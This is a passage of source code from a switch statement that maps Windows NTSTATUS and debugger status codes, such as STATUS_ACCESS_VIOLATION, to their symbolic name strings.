0x40000006: return \"STATUS_LOCAL_USER_SESSION_KEY\"\n        case 0x40000007: return \"STATUS_BAD_CURRENT_DIRECTORY\"\n        case 0x40000008: return \"STATUS_SERIAL_MORE_WRITES\"\n        case 0x40000009: return \"STATUS_REGISTRY_RECOVERED\"\n        case 0x4000000A: return \"STATUS_FT_READ_RECOVERY_FROM_BACKUP\"\n        case 0x4000000B: return \"STATUS_FT_WRITE_RECOVERY\"\n        case 0x4000000C: return \"STATUS_SERIAL_COUNTER_TIMEOUT\"\n        case 0x4000000D: return \"STATUS_NULL_LM_PASSWORD\"\n        case 0x4000000E: return \"STATUS_IMAGE_MACHINE_TYPE_MISMATCH\"\n        case 0x4000000F: return \"STATUS_RECEIVE_PARTIAL\"\n        case 0x40000010: return \"STATUS_RECEIVE_EXPEDITED\"\n        case 0x40000011: return \"STATUS_RECEIVE_PARTIAL_EXPEDITED\"\n        case 0x40000012: return \"STATUS_EVENT_DONE\"\n        case 0x40000013: return \"STATUS_EVENT_PENDING\"\n        case 0x40000014: return \"STATUS_CHECKING_FILE_SYSTEM\"\n        case 0x40000015: return \"STATUS_FATAL_APP_EXIT\"\n        case 0x40000016: return \"STATUS_PREDEFINED_HANDLE\"\n        case 0x40000017: return \"STATUS_WAS_UNLOCKED\"\n        case 0x40000018: return \"STATUS_SERVICE_NOTIFICATION\"\n        case 0x40000019: return \"STATUS_WAS_LOCKED\"\n        case 0x4000001A: return \"STATUS_LOG_HARD_ERROR\"\n        case 0x4000001B: return \"STATUS_ALREADY_WIN32\"\n        case 0x4000001C: return \"STATUS_WX86_UNSIMULATE\"\n        case 0x4000001D: return \"STATUS_WX86_CONTINUE\"\n        case 0x4000001E: return \"STATUS_WX86_SINGLE_STEP\"\n        case 0x4000001F: return \"STATUS_WX86_BREAKPOINT\"\n        case 0x40000020: return \"STATUS_WX86_EXCEPTION_CONTINUE\"\n        case 0x40000021: return \"STATUS_WX86_EXCEPTION_LASTCHANCE\"\n        case 0x40000022: return \"STATUS_WX86_EXCEPTION_CHAIN\"\n        case 0x40000023: return \"STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE\"\n        case 0x40000024: return \"STATUS_NO_YIELD_PERFORMED\"\n        case 0x40000025: return \"STATUS_TIMER_RESUME_IGNORED\"\n        case 0x40000026: return \"STATUS_ARBITRATION_UNHANDLED\"\n        case 0x40000027: return \"STATUS_CARDBUS_NOT_SUPPORTED\"\n        case 0x40000028: return \"STATUS_WX86_CREATEWX86TIB\"\n        case 0x40000029: return \"STATUS_MP_PROCESSOR_MISMATCH\"\n        case 0x40010001: return \"DBG_REPLY_LATER\"\n        case 0x40010002: return \"DBG_UNABLE_TO_PROVIDE_HANDLE\"\n        case 0x40010003: return \"DBG_TERMINATE_THREAD\"\n        case 0x40010004: return \"DBG_TERMINATE_PROCESS\"\n        case 0x40010005: return \"DBG_CONTROL_C\"\n        case 0x40010006: return \"DBG_PRINTEXCEPTION_C\"\n        case 0x40010007: return \"DBG_RIPEXCEPTION\"\n        case 0x40010008: return \"DBG_CONTROL_BREAK\"\n        case 0x80000001: return \"STATUS_GUARD_PAGE_VIOLATION\"\n        case 0x80000002: return \"STATUS_DATATYPE_MISALIGNMENT\"\n        case 0x80000003: return \"STATUS_BREAKPOINT\"\n        case 0x80000004: return \"STATUS_SINGLE_STEP\"\n        case 0x80000005: return \"STATUS_BUFFER_OVERFLOW\"\n        case 0x80000006: return \"STATUS_NO_MORE_FILES\"\n        case 0x80000007: return \"STATUS_WAKE_SYSTEM_DEBUGGER\"\n        case 0x8000000A: return \"STATUS_HANDLES_CLOSED\"\n        case 0x8000000B: return \"STATUS_NO_INHERITANCE\"\n        case 0x8000000C: return \"STATUS_GUID_SUBSTITUTION_MADE\"\n        case 0x8000000D: return \"STATUS_PARTIAL_COPY\"\n        case 0x8000000E: return \"STATUS_DEVICE_PAPER_EMPTY\"\n        case 0x8000000F: return \"STATUS_DEVICE_POWERED_OFF\"\n        case 0x80000010: return \"STATUS_DEVICE_OFF_LINE\"\n        case 0x80000011: return \"STATUS_DEVICE_BUSY\"\n        case 0x80000012: return \"STATUS_NO_MORE_EAS\"\n        case 0x80000013: return \"STATUS_INVALID_EA_NAME\"\n        case 0x80000014: return \"STATUS_EA_LIST_INCONSISTENT\"\n        case 0x80000015: return \"STATUS_INVALID_EA_FLAG\"\n        case 0x80000016: return \"STATUS_VERIFY_REQUIRED\"\n        case 0x80000017: return \"STATUS_EXTRANEOUS_INFORMATION\"\n        case 0x80000018: return \"STATUS_RXACT_COMMIT_NECESSARY\"\n        case 0x8000001A: return \"STATUS_NO_MORE_ENTRIES\"\n        case 0x8000001B: return \"STATUS_FILEMARK_DETECTED\"\n        case 0x8000001C: return \"STATUS_MEDIA_CHANGED\"\n        case 0x8000001D: return \"STATUS_BUS_RESET\"\n        case 0x8000001E: return \"STATUS_END_OF_MEDIA\"\n        case 0x8000001F: return \"STATUS_BEGINNING_OF_MEDIA\"\n        case 0x80000020: return \"STATUS_MEDIA_CHECK\"\n        case 0x80000021: return \"STATUS_SETMARK_DETECTED\"\n        case 0x80000022: return \"STATUS_NO_DATA_DETECTED\"\n        case 0x80000023: return \"STATUS_REDIRECTOR_HAS_OPEN_HANDLES\"\n        case 0x80000024: return \"STATUS_SERVER_HAS_OPEN_HANDLES\"\n        case 0x80000025: return \"STATUS_ALREADY_DISCONNECTED\"\n        case 0x80000026: return \"STATUS_LONGJUMP\"\n        case 0x80010001: return \"DBG_EXCEPTION_NOT_HANDLED\"\n        case 0xC0000001: return \"STATUS_UNSUCCESSFUL\"\n        case 0xC0000002: return \"STATUS_NOT_IMPLEMENTED\"\n        case 0xC0000003: return \"STATUS_INVALID_INFO_CLASS\"\n        case 0xC0000004: return \"STATUS_INFO_LENGTH_MISMATCH\"\n        case 0xC0000005: return \"STATUS_ACCESS_VIOLATION\"\n        case 0xC0000006: return \"STATUS_IN_PAGE_ERROR\"\n        case 0xC0000007: return \"STATUS_PAGEFILE_QUOTA\"\n        case 0xC0000008: return \"STATUS_INVALID_HANDLE\"\n        case 0xC0000009: return \"STATUS_BAD_INITIAL_STACK\"\n        case 0xC000000A: return \"STATUS_BAD_INITIAL_PC\"\n        case 0xC000000B: return \"STATUS_INVALID_CID\"\n        case 0xC000000C: return \"STATUS_TIMER_NOT_CANCELED\"\n        case 0xC000000D: return \"STATUS_INVALID_PARAMETER\"\n        case 0xC000000E: return \"STATUS_NO_SUCH_DEVICE\"\n        case 0xC000000F: return \"STATUS_NO_SUCH_FILE\"\n        case 0xC0000010: return \"STATUS_INVALID_DEVICE_REQUEST\"\n        case 0xC0000011: return \"STATUS_END_OF_FILE\"\n        case 0xC0000012: return \"STATUS_WRONG_VOLUME\"\n        case 0xC0000013: return \"STATUS_NO_MEDIA_IN_DEVICE\"\n        case 0xC0000014: return \"STATUS_UNRECOGNIZED_MEDIA\"\n        case 0xC0000015: return \"STATUS_NONEXISTENT_SECTOR\"\n        case 0xC0000016: return \"STATUS_MORE_PROCESSING_REQUIRED\"\n        case 0xC0000017: return \"STATUS_NO_MEMORY\"\n        case 0xC0000018: return \"STATUS_CONFLICTING_ADDRESSES\"\n        case 0xC0000019: return \"STATUS_NOT_MAPPED_VIEW\"\n        case 0xC000001A: return \"STATUS_UNABLE_TO_FREE_VM\"\n        case 0xC000001B: return \"STATUS_UNABLE_TO_DELETE_SECTION\"\n        case 0xC000001C: return \"STATUS_INVALID_SYSTEM_SERVICE\"\n        case 0xC000001D: return \"STATUS_ILLEGAL_INSTRUCTION\"\n        case 0xC000001E: return \"STATUS_INVALID_LOCK_SEQUENCE\"\n        case 0xC000001F: return \"STATUS_INVALID_VIEW_SIZE\"\n        case 0xC0000020: return \"STATUS_INVALID_FILE_FOR_SECTION\"\n        case 0xC0000021: return \"STATUS_ALREADY_COMMITTED\"\n        case 0xC0000022: return \"STATUS_ACCESS_DENIED\"\n        case 0xC0000023: return \"STATUS_BUFFER_TOO_SMALL\"\n        case 0xC0000024: return \"STATUS_OBJECT_TYPE_MISMATCH\"\n        case 0xC0000025: return \"STATUS_NONCONTINUABLE_EXCEPTION\"\n        case 0xC0000026: return \"STATUS_INVALID_DISPOSITION\"\n        case 0xC0000027: return \"STATUS_UNWIND\"\n        case 0xC0000028: return \"STATUS_BAD_STACK\"\n        case 0xC0000029: return \"STATUS_INVALID_UNWIND_TARGET\"\n        case 0xC000002A: return \"STATUS_NOT_LOCKED\"\n        case 0xC000002B: return \"STATUS_PARITY_ERROR\"\n        case 0xC000002C: return \"STATUS_UNABLE_TO_DECOMMIT_VM\"\n        case 0xC000002D: return \"STATUS_NOT_COMMITTED\"\n        case 0xC000002E: return \"STATUS_INVALID_PORT_ATTRIBUTES\"\n        case 0xC000002F: return \"STATUS_PORT_MESSAGE_TOO_LONG\"\n        case 0xC0000030: return \"STATUS_INVALID_PARAMETER_MIX\"\n        case 0xC0000031: return \"STATUS_INVALID_QUOTA_LOWER\"\n        case 0xC0000032: return \"STATUS_DISK_CORRUPT_ERROR\"\n        case 0xC0000033: return \"STATUS_OBJECT_NAME_INVALID\"\n        case 0xC0000034: return \"STATUS_OBJECT_NAME_NOT_FOUND\"\n        case 0xC0000035: return \"STATUS_OBJECT_NAME_COLLISION\"\n        case 0xC0000037: return \"STATUS_PORT_DISCONNECTED\"\n        case 0xC0000038: return \"STATUS_DEVICE_ALREADY_ATTACHED\"\n        case 0xC0000039: return \"STATUS_OBJECT_PATH_INVALID\"\n        case 0xC000003A: return \"STATUS_OBJECT_PATH_NOT_FOUND\"\n        case 0xC000003B: return \"STATUS_OBJECT_PATH_SYNTAX_BAD\"\n        case 0xC000003C: return \"STATUS_DATA_OVERRUN\"\n        case 0xC000003D: return \"STATUS_DATA_LATE_ERROR\"\n        case 0xC000003E: return \"STATUS_DATA_ERROR\"\n        case 0xC000003F: return \"STATUS_CRC_ERROR\"\n        case 0xC0000040: return \"STATUS_SECTION_TOO_BIG\"\n        case 0xC0000041: return \"STATUS_PORT_CONNECTION_REFUSED\"\n        case 0xC0000042: return \"STATUS_INVALID_PORT_HANDLE\"\n        case 0xC0000043: return \"STATUS_SHARING_VIOLATION\"\n        case 0xC0000044: return \"STATUS_QUOTA_EXCEEDED\"\n        case 0xC0000045: return \"STATUS_INVALID_PAGE_PROTECTION\"\n        case 0xC0000046: return \"STATUS_MUTANT_NOT_OWNED\"\n        case 0xC0000047: return \"STATUS_SEMAPHORE_LIMIT_EXCEEDED\"\n        case 0xC0000048: return \"STATUS_PORT_ALREADY_SET\"\n        case 0xC0000049: return \"STATUS_SECTION_NOT_IMAGE\"\n        case 0xC000004A: return \"STATUS_SUSPEND_COUNT_EXCEEDED\"\n        case 0xC000004B: return \"STATUS_THREAD_IS_TERMINATING\"\n        case 0xC000004C: return \"STATUS_BAD_WORKING_SET_LIMIT\"\n        case 0xC000004D: return \"STATUS_INCOMPATIBLE_FILE_MAP\"\n        case 0xC000004E: return \"STATUS_SECTION_PROTECTION\"\n        case 0xC000004F: return \"STATUS_EAS_NOT_SUPPORTED\"\n        case 0xC0000050: return \"STATUS_EA_TOO_LARGE\"\n        case 0xC0000051: return \"STATUS_NONEXISTENT_EA_ENTRY\"\n        case 0xC0000052: return \"STATUS_NO_EAS_ON_FILE\"\n        case 0xC0000053: return \"STATUS_EA_CORRUPT_ERROR\"\n        case 0xC0000054: return \"STATUS_FILE_LOCK_CONFLICT\"\n        case 0xC0000055: return \"STATUS_LOCK_NOT_GRANTED\"\n        case 0xC0000056: return \"STATUS_DELETE_PENDING\"\n        case 0xC0000057: return \"STATUS_CTL_FILE_NOT_SUPPORTED\"\n        case 0xC0000058: return \"STATUS_UNKNOWN_REVISION\"\n        case 0xC0000059: return \"STATUS_REVISION_MISMATCH\"\n        case 0xC000005A: return \"STATUS_INVALID_OWNER\"\n        case 0xC000005B: return \"STATUS_INVALID_PRIMARY_GROUP\"\n        case 0xC000005C: return \"STATUS_NO_IMPERSONATION_TOKEN\"\n        case 0xC000005D: return \"STATUS_CANT_DISABLE_MANDATORY\"\n        case 0xC000005E: return \"STATUS_NO_LOGON_SERVERS\"\n        case 0xC000005F: return \"STATUS_NO_SUCH_LOGON_SESSION\"\n        case 0xC0000060: return \"STATUS_NO_SUCH_PRIVILEGE\"\n        case 0xC0000061: return \"STATUS_PRIVILEGE_NOT_HELD\"\n        case 0xC0000062: return \"STATUS_INVALID_ACCOUNT_NAME\"\n        case 0xC0000063: return \"STATUS_USER_EXISTS\"\n        case 0xC0000064: return \"STATUS_NO_SUCH_USER\"\n        case 0xC0000065: return \"STATUS_GROUP_EXISTS\"\n        case 0xC0000066: return \"STATUS_NO_SUCH_GROUP\"\n        case 0xC0000067: return \"STATUS_MEMBER_IN_GROUP\"\n        case 0xC0000068: return \"STATUS_MEMBER_NOT_IN_GROUP\"\n        case 0xC0000069: return \"STATUS_LAST_ADMIN\"\n        case 0xC000006A: return \"STATUS_WRONG_PASSWORD\"\n        case 0xC000006B: return \"STATUS_ILL_FORMED_PASSWORD\"\n        case 0xC000006C: return \"STATUS_PASSWORD_RESTRICTION\"\n        case 0xC000006D: return \"STATUS_LOGON_FAILURE\"\n        case 0xC000006E: return \"STATUS_ACCOUNT_RESTRICTION\"\n        case 0xC000006F: return \"STATUS_INVALID_LOGON_HOURS\"\n        case 0xC0000070: return \"STATUS_INVALID_WORKSTATION\"\n        case 0xC0000071: return \"STATUS_PASSWORD_EXPIRED\"\n        case 0xC0000072: return \"STATUS_ACCOUNT_DISABLED\"\n        case 0xC0000073: return \"STATUS_NONE_MAPPED\"\n        case 0xC0000074: return \"STATUS_TOO_MANY_LUIDS_REQUESTED\"\n        case 0xC0000075: return \"STATUS_LUIDS_EXHAUSTED\"\n        case 0xC0000076: return \"STATUS_INVALID_SUB_AUTHORITY\"\n        case 0xC0000077: return \"STATUS_INVALID_ACL\"\n        case 0xC0000078: return \"STATUS_INVALID_SID\"\n        case 0xC0000079: return \"STATUS_INVALID_SECURITY_DESCR\"\n        case 0xC000007A: return \"STATUS_PROCEDURE_NOT_FOUND\"\n        case 0xC000007B: return \"STATUS_INVALID_IMAGE_FORMAT\"\n        case 0xC000007C: return \"STATUS_NO_TOKEN\"\n        case 0xC000007D: return \"STATUS_BAD_INHERITANCE_ACL\"\n        case 0xC000007E: return \"STATUS_RANGE_NOT_LOCKED\"\n        case 0xC000007F: return \"STATUS_DISK_FULL\"\n        case 0xC0000080: return \"STATUS_SERVER_DISABLED\"\n        case 0xC0000081: return \"STATUS_SERVER_NOT_DISABLED\"\n        case 0xC0000082: return \"STATUS_TOO_MANY_GUIDS_REQUESTED\"\n        case 0xC0000083: return \"STATUS_GUIDS_EXHAUSTED\"\n        case 0xC0000084: return \"STATUS_INVALID_ID_AUTHORITY\"\n        case 0xC0000085: return \"STATUS_AGENTS_EXHAUSTED\"\n        case 0xC0000086: return \"STATUS_INVALID_VOLUME_LABEL\"\n        case 0xC0000087: return \"STATUS_SECTION_NOT_EXTENDED\"\n        case 0xC0000088: return \"STATUS_NOT_MAPPED_DATA\"\n        case 0xC0000089: return \"STATUS_RESOURCE_DATA_NOT_FOUND\"\n        case 0xC000008A: return \"STATUS_RESOURCE_TYPE_NOT_FOUND\"\n        case 0xC000008B: return \"STATUS_RESOURCE_NAME_NOT_FOUND\"\n        case 0xC000008C: return \"STATUS_ARRAY_BOUNDS_EXCEEDED\"\n        case 0xC000008D: return \"STATUS_FLOAT_DENORMAL_OPERAND\"\n        case 0xC000008E: return \"STATUS_FLOAT_DIVIDE_BY_ZERO\"\n        case 0xC000008F: return \"STATUS_FLOAT_INEXACT_RESULT\"\n        case 0xC0000090: return \"STATUS_FLOAT_INVALID_OPERATION\"\n        case 0xC0000091: return \"STATUS_FLOAT_OVERFLOW\"\n        case 0xC0000092: return \"STATUS_FLOAT_STACK_CHECK\"\n        case 0xC0000093: return \"STATUS_FLOAT_UNDERFLOW\"\n        case 0xC0000094: return \"STATUS_INTEGER_DIVIDE_BY_ZERO\"\n        case 0xC0000095: return \"STATUS_INTEGER_OVERFLOW\"\n        case 0xC0000096: return \"STATUS_PRIVILEGED_INSTRUCTION\"\n        case 0xC0000097: return \"STATUS_TOO_MANY_PAGING_FILES\"\n        case 0xC0000098: return \"STATUS_FILE_INVALID\"\n        case 0xC0000099: return \"STATUS_ALLOTTED_SPACE_EXCEEDED\"\n        case 0xC000009A: return \"STATUS_INSUFFICIENT_RESOURCES\"\n        case 0xC000009B: return \"STATUS_DFS_EXIT_PATH_FOUND\"\n        case 0xC000009C: return \"STATUS_DEVICE_DATA_ERROR\"\n        case 0xC000009D: return \"STATUS_DEVICE_NOT_CONNECTED\"\n        case 0xC000009E: return \"STATUS_DEVICE_POWER_FAILURE\"\n        case 0xC000009F: return \"STATUS_FREE_VM_NOT_AT_BASE\"\n        case 0xC00000A0: return \"STATUS_MEMORY_NOT_ALLOCATED\"\n        case 0xC00000A1: return \"STATUS_WORKING_SET_QUOTA\"\n        case 0xC00000A2: return \"STATUS_MEDIA_WRITE_PROTECTED\"\n        case 0xC00000A3: return \"STATUS_DEVICE_NOT_READY\"\n        case 0xC00000A4: return \"STATUS_INVALID_GROUP_ATTRIBUTES\"\n        case 0xC00000A5: return \"STATUS_BAD_IMPERSONATION_LEVEL\"\n        case 0xC00000A6: return \"STATUS_CANT_OPEN_ANONYMOUS\"\n        case 0xC00000A7: return \"STATUS_BAD_VALIDATION_CLASS\"\n        case 0xC00000A8: return \"STATUS_BAD_TOKEN_TYPE\"\n        case 0xC00000A9: return \"STATUS_BAD_MASTER_BOOT_RECORD\"\n        case 0xC00000AA: return \"STATUS_INSTRUCTION_MISALIGNMENT\"\n        case 0xC00000AB: return \"STATUS_INSTANCE_NOT_AVAILABLE\"\n        case 0xC00000AC: return \"STATUS_PIPE_NOT_AVAILABLE\"\n        case 0xC00000AD: return \"STATUS_INVALID_PIPE_STATE\"\n        case 0xC00000AE: return \"STATUS_PIPE_BUSY\"\n        case 0xC00000AF: return \"STATUS_ILLEGAL_FUNCTION\"\n        case 0xC00000B0: return \"STATUS_PIPE_DISCONNECTED\"\n        case 0xC00000B1: return \"STATUS_PIPE_CLOSING\"\n        case 0xC00000B2: return \"STATUS_PIPE_CONNECTED\"\n        case 0xC00000B3: return \"STATUS_PIPE_LISTENING\"\n        case 0xC00000B4: return \"STATUS_INVALID_READ_MODE\"\n        case 0xC00000B5: return \"STATUS_IO_TIMEOUT\"\n        case 0xC00000B6: return \"STATUS_FILE_FORCED_CLOSED\"\n        case 0xC00000B7: return \"STATUS_PROFILING_NOT_STARTED\"\n        case 0xC00000B8: return \"STATUS_PROFILING_NOT_STOPPED\"\n        case 0xC00000B9: return \"STATUS_COULD_NOT_INTERPRET\"\n        case 0xC00000BA: return \"STATUS_FILE_IS_A_DIRECTORY\"\n        case 0xC00000BB: return \"STATUS_NOT_SUPPORTED\"\n        case 0xC00000BC: return \"STATUS_REMOTE_NOT_LISTENING\"\n        case 0xC00000BD: return \"STATUS_DUPLICATE_NAME\"\n        case 0xC00000BE: return \"STATUS_BAD_NETWORK_PATH\"\n        case 0xC00000BF: return \"STATUS_NETWORK_BUSY\"\n        case 0xC00000C0: return \"STATUS_DEVICE_DOES_NOT_EXIST\"\n        case 0xC00000C1: return \"STATUS_TOO_MANY_COMMANDS\"\n        case 0xC00000C2: return \"STATUS_ADAPTER_HARDWARE_ERROR\"\n        case 0xC00000C3: return \"STATUS_INVALID_NETWORK_RESPONSE\"\n        case 0xC00000C4: return \"STATUS_UNEXPECTED_NETWORK_ERROR\"\n        case 0xC00000C5: return \"STATUS_BAD_REMOTE_ADAPTER\"\n        case 0xC00000C6: return \"STATUS_PRINT_QUEUE_FULL\"\n        case 0xC00000C7: return \"STATUS_NO_SPOOL_SPACE\"\n        case 0xC00000C8: return \"STATUS_PRINT_CANCELLED\"\n        case 0xC00000C9: return \"STATUS_NETWORK_NAME_DELETED\"\n        case 0xC00000CA: return \"STATUS_NETWORK_ACCESS_DENIED\"\n        case 0xC00000CB: return \"STATUS_BAD_DEVICE_TYPE\"\n        case 0xC00000CC: return \"STATUS_BAD_NETWORK_NAME\"\n        case 0xC00000CD: return \"STATUS_TOO_MANY_NAMES\"\n        case 0xC00000CE: return \"STATUS_TOO_MANY_SESSIONS\"\n        case 0xC00000CF: return \"STATUS_SHARING_PAUSED\"\n        case 0xC00000D0: return \"STATUS_REQUEST_NOT_ACCEPTED\"\n        case 0xC00000D1: return \"STATUS_REDIRECTOR_PAUSED\"\n        case 0xC00000D2: return \"STATUS_NET_WRITE_FAULT\"\n        case 0xC00000D3: return \"STATUS_PROFILING_AT_LIMIT\"\n        case 0xC00000D4: return \"STATUS_NOT_SAME_DEVICE\"\n        case 0xC00000D5: return \"STATUS_FILE_RENAMED\"\n        case 0xC00000D6: return \"STATUS_VIRTUAL_CIRCUIT_CLOSED\"\n        case 0xC00000D7: return \"STATUS_NO_SECURITY_ON_OBJECT\"\n        case 0xC00000D8: return \"STATUS_CANT_WAIT\"\n        case 0xC00000D9: return \"STATUS_PIPE_EMPTY\"\n        case 0xC00000DA: return \"STATUS_CANT_ACCESS_DOMAIN_INFO\"\n        case 0xC00000DB: return \"STATUS_CANT_TERMINATE_SELF\"\n        case 0xC00000DC: return \"STATUS_INVALID_SERVER_STATE\"\n        case 0xC00000DD: return \"STATUS_INVALID_DOMAIN_STATE\"\n        case 0xC00000DE: return \"STATUS_INVALID_DOMAIN_ROLE\"\n        case 0xC00000DF: return \"STATUS_NO_SUCH_DOMAIN\"\n        case 0xC00000E0: return \"STATUS_DOMAIN_EXISTS\"\n        case 0xC00000E1: return \"STATUS_DOMAIN_LIMIT_EXCEEDED\"\n        case 0xC00000E2: return \"STATUS_OPLOCK_NOT_GRANTED\"\n        case 0xC00000E3: return \"STATUS_INVALID_OPLOCK_PROTOCOL\"\n        case 0xC00000E4: return \"STATUS_INTERNAL_DB_CORRUPTION\"\n        case 0xC00000E5: return \"STATUS_INTERNAL_ERROR\"\n        case 0xC00000E6: return \"STATUS_GENERIC_NOT_MAPPED\"\n        case 0xC00000E7: return \"STATUS_BAD_DESCRIPTOR_FORMAT\"\n        case 0xC00000E8: return \"STATUS_INVALID_USER_BUFFER\"\n        case 0xC00000E9: return \"STATUS_UNEXPECTED_IO_ERROR\"\n        case 0xC00000EA: return \"STATUS_UNEXPECTED_MM_CREATE_ERR\"\n        case 0xC00000EB: return \"STATUS_UNEXPECTED_MM_MAP_ERROR\"\n        case 0xC00000EC: return \"STATUS_UNEXPECTED_MM_EXTEND_ERR\"\n        case 0xC00000ED: return \"STATUS_NOT_LOGON_PROCESS\"\n        case 0xC00000EE: return \"STATUS_LOGON_SESSION_EXISTS\"\n        case 0xC00000EF: return \"STATUS_INVALID_PARAMETER_1\"\n        case 0xC00000F0: return \"STATUS_INVALID_PARAMETER_2\"\n        case 0xC00000F1: return \"STATUS_INVALID_PARAMETER_3\"\n        case 0xC00000F2: return \"STATUS_INVALID_PARAMETER_4\"\n        case 0xC00000F3: return \"STATUS_INVALID_PARAMETER_5\"\n        case 0xC00000F4: return \"STATUS_INVALID_PARAMETER_6\"\n        case 0xC00000F5: return \"STATUS_INVALID_PARAMETER_7\"\n        case 0xC00000F6: return \"STATUS_INVALID_PARAMETER_8\"\n        case 0xC00000F7: return \"STATUS_INVALID_PARAMETER_9\"\n        case 0xC00000F8: return \"STATUS_INVALID_PARAMETER_10\"\n        case 0xC00000F9: return \"STATUS_INVALID_PARAMETER_11\"\n        case 0xC00000FA: return \"STATUS_INVALID_PARAMETER_12\"\n        case 0xC00000FB: return \"STATUS_REDIRECTOR_NOT_STARTED\"\n        case 0xC00000FC: return \"STATUS_REDIRECTOR_STARTED\"\n        case 0xC00000FD: return \"STATUS_STACK_OVERFLOW\"\n        case 0xC00000FE: return \"STATUS_NO_SUCH_PACKAGE\"\n        case 0xC00000FF: return \"STATUS_BAD_FUNCTION_TABLE\"\n        case 0xC0000100: return \"STATUS_VARIABLE_NOT_FOUND\"\n        case 0xC0000101: return \"STATUS_DIRECTORY_NOT_EMPTY\"\n        case 0xC0000102: return \"STATUS_FILE_CORRUPT_ERROR\"\n        case 0xC0000103: return \"STATUS_NOT_A_DIRECTORY\"\n        case 0xC0000104: return \"STATUS_BAD_LOGON_SESSION_STATE\"\n        case 0xC0000105: return \"STATUS_LOGON_SESSION_COLLISION\"\n        case 0xC0000106: return \"STATUS_NAME_TOO_LONG\"\n        case 0xC0000107: return \"STATUS_FILES_OPEN\"\n        case 0xC0000108: return \"STATUS_CONNECTION_IN_USE\"\n        case 0xC0000109: return \"STATUS_MESSAGE_NOT_FOUND\"\n        case 0xC000010A: return \"STATUS_PROCESS_IS_TERMINATING\"\n        case 0xC000010B: return \"STATUS_INVALID_LOGON_TYPE\"\n        case 0xC000010C: return \"STATUS_NO_GUID_TRANSLATION\"\n        case 0xC000010D: return \"STATUS_CANNOT_IMPERSONATE\"\n        case 0xC000010E: return \"STATUS_IMAGE_ALREADY_LOADED\"\n        case 0xC000010F: return \"STATUS_ABIOS_NOT_PRESENT\"\n        case 0xC0000110: return \"STATUS_ABIOS_LID_NOT_EXIST\"\n        case 0xC0000111: return \"STATUS_ABIOS_LID_ALREADY_OWNED\"\n        case 0xC0000112: return \"STATUS_ABIOS_NOT_LID_OWNER\"\n        case 0xC0000113: return \"STATUS_ABIOS_INVALID_COMMAND\"\n        case 0xC0000114: return \"STATUS_ABIOS_INVALID_LID\"\n        case 0xC0000115: return \"STATUS_ABIOS_SELECTOR_NOT_AVAILABLE\"\n        case 0xC0000116: return \"STATUS_ABIOS_INVALID_SELECTOR\"\n        case 0xC0000117: return \"STATUS_NO_LDT\"\n        case 0xC0000118: return \"STATUS_INVALID_LDT_SIZE\"\n        case 0xC0000119: return \"STATUS_INVALID_LDT_OFFSET\"\n        case 0xC000011A: return \"STATUS_INVALID_LDT_DESCRIPTOR\"\n        case 0xC000011B: return \"STATUS_INVALID_IMAGE_NE_FORMAT\"\n        case 0xC000011C: return \"STATUS_RXACT_INVALID_STATE\"\n        case 0xC000011D: return \"STATUS_RXACT_COMMIT_FAILURE\"\n        case 0xC000011E: return \"STATUS_MAPPED_FILE_SIZE_ZERO\"\n        case 0xC000011F: return \"STATUS_TOO_MANY_OPENED_FILES\"\n        case 0xC0000120: return \"STATUS_CANCELLED\"\n        case 0xC0000121: return \"STATUS_CANNOT_DELETE\"\n        case 0xC0000122: return \"STATUS_INVALID_COMPUTER_NAME\"\n        case 0xC0000123: return \"STATUS_FILE_DELETED\"\n        case 0xC0000124: return \"STATUS_SPECIAL_ACCOUNT\"\n        case 0xC0000125: return \"STATUS_SPECIAL_GROUP\"\n        case 0xC0000126: return \"STATUS_SPECIAL_USER\"\n        case 0xC0000127: return \"STATUS_MEMBERS_PRIMARY_GROUP\"\n        case 0xC0000128: return \"STATUS_FILE_CLOSED\"\n        case 0xC0000129: return \"STATUS_TOO_MANY_THREADS\"\n        case 0xC000012A: return \"STATUS_THREAD_NOT_IN_PROCESS\"\n        case 0xC000012B: return \"STATUS_TOKEN_ALREADY_IN_USE\"\n        case 0xC000012C: return \"STATUS_PAGEFILE_QUOTA_EXCEEDED\"\n        case 0xC000012D: return \"STATUS_COMMITMENT_LIMIT\"\n        case 0xC000012E: return \"STATUS_INVALID_IMAGE_LE_FORMAT\"\n        case 0xC000012F: return \"STATUS_INVALID_IMAGE_NOT_MZ\"\n        case 0xC0000130: return \"STATUS_INVALID_IMAGE_PROTECT\"\n        case 0xC0000131: return \"STATUS_INVALID_IMAGE_WIN_16\"\n        case 0xC0000132: return \"STATUS_LOGON_SERVER_CONFLICT\"\n        case 0xC0000133: return \"STATUS_TIME_DIFFERENCE_AT_DC\"\n        case 0xC0000134: return \"STATUS_SYNCHRONIZATION_REQUIRED\"\n        case 0xC0000135: return \"STATUS_DLL_NOT_FOUND\"\n        case 0xC0000136: return \"STATUS_OPEN_FAILED\"\n        case 0xC0000137: return \"STATUS_IO_PRIVILEGE_FAILED\"\n        case 0xC0000138: return \"STATUS_ORDINAL_NOT_FOUND\"\n        case 0xC0000139: return \"STATUS_ENTRYPOINT_NOT_FOUND\"\n        case 0xC000013A: return \"STATUS_CONTROL_C_EXIT\"\n        case 0xC000013B: return \"STATUS_LOCAL_DISCONNECT\"\n        case 0xC000013C: return \"STATUS_REMOTE_DISCONNECT\"\n        case 0xC000013D: return \"STATUS_REMOTE_RESOURCES\"\n        case 0xC000013E: return \"STATUS_LINK_FAILED\"\n        case 0xC000013F: return \"STATUS_LINK_TIMEOUT\"\n        case 0xC0000140: return \"STATUS_INVALID_CONNECTION\"\n        case 0xC0000141: return \"STATUS_INVALID_ADDRESS\"\n        case 0xC0000142: return \"STATUS_DLL_INIT_FAILED\"\n        case 0xC0000143: return \"STATUS_MISSING_SYSTEMFILE\"\n        case 0xC0000144: return \"STATUS_UNHANDLED_EXCEPTION\"\n        case 0xC0000145: return \"STATUS_APP_INIT_FAILURE\"\n        case 0xC0000146: return \"STATUS_PAGEFILE_CREATE_FAILED\"\n        case 0xC0000147: return \"STATUS_NO_PAGEFILE\"\n        case 0xC0000148: return \"STATUS_INVALID_LEVEL\"\n        case 0xC0000149: return \"STATUS_WRONG_PASSWORD_CORE\"\n        case 0xC000014A: return \"STATUS_ILLEGAL_FLOAT_CONTEXT\"\n        case 0xC000014B: return \"STATUS_PIPE_BROKEN\"\n        case 0xC000014C: return \"STATUS_REGISTRY_CORRUPT\"\n        case 0xC000014D: return \"STATUS_REGISTRY_IO_FAILED\"\n        case 0xC000014E: return \"STATUS_NO_EVENT_PAIR\"\n        case 0xC000014F: return \"STATUS_UNRECOGNIZED_VOLUME\"\n        case 0xC0000150: return \"STATUS_SERIAL_NO_DEVICE_INITED\"\n        